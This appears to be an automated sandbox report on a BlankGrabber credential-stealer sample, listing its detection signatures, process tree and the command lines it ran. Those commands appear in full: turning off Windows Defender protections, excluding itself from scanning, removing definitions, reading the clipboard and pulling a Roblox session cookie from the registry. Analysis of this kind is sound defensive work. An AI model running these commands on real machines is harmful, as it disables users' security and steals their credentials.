Malware Analysis Report

2025-04-03 14:11

Sample ID 241104-t797qasnbv
Target c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579
SHA256 c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579
Tags
upx collection credential_access discovery execution spyware stealer blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579

Threat Level: Known bad

The file c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579 was found to be: Known bad.

Malicious Activity Summary

upx collection credential_access discovery execution spyware stealer blankgrabber

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Reads user/profile data of web browsers

Executes dropped EXE

Unsecured Credentials: Credentials In Files

Clipboard Data

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

UPX packed file

Enumerates processes with tasklist

Browser Information Discovery

Enumerates physical storage devices

Gathers system information

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-04 16:43

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-04 16:43

Reported

2024-11-04 16:45

Platform

win7-20240903-en

Max time kernel

118s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI18522\python312.dll

MD5 18677d48ba556e529b73d6e60afaf812
SHA1 68f93ed1e3425432ac639a8f0911c144f1d4c986
SHA256 8e2c03e1ee5068c16e61d3037a10371f2e9613221a165150008bef04474a8af8
SHA512 a843ab3a180684c4f5cae0240da19291e7ed9ae675c9356334386397561c527ab728d73767459350fa67624f389411d03665f69637c5f5c268011d1b103d0b02

memory/2576-23-0x000007FEF60C0000-0x000007FEF6784000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-04 16:43

Reported

2024-11-04 16:45

Platform

win10v2004-20241007-en

Max time kernel

138s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1112 wrote to memory of 4644 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
PID 1112 wrote to memory of 4644 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
PID 4644 wrote to memory of 4588 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4588 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4424 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4424 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 1376 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1376 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4588 wrote to memory of 1528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4588 wrote to memory of 1528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4424 wrote to memory of 876 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4424 wrote to memory of 876 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2844 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2844 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4896 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4896 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3648 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3648 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4696 wrote to memory of 1900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4696 wrote to memory of 1900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1740 wrote to memory of 1160 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1740 wrote to memory of 1160 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2312 wrote to memory of 3564 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2312 wrote to memory of 3564 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4644 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 1360 wrote to memory of 4988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1360 wrote to memory of 4988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4644 wrote to memory of 3448 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\System32\WaaSMedicAgent.exe
PID 4644 wrote to memory of 3448 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\System32\WaaSMedicAgent.exe
PID 3448 wrote to memory of 4808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3448 wrote to memory of 4808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4644 wrote to memory of 4456 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4456 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4456 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4456 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4644 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4584 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4584 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4644 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 860 wrote to memory of 2264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 860 wrote to memory of 2264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 2092 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2092 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4644 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe
PID 4644 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe

"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe'

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

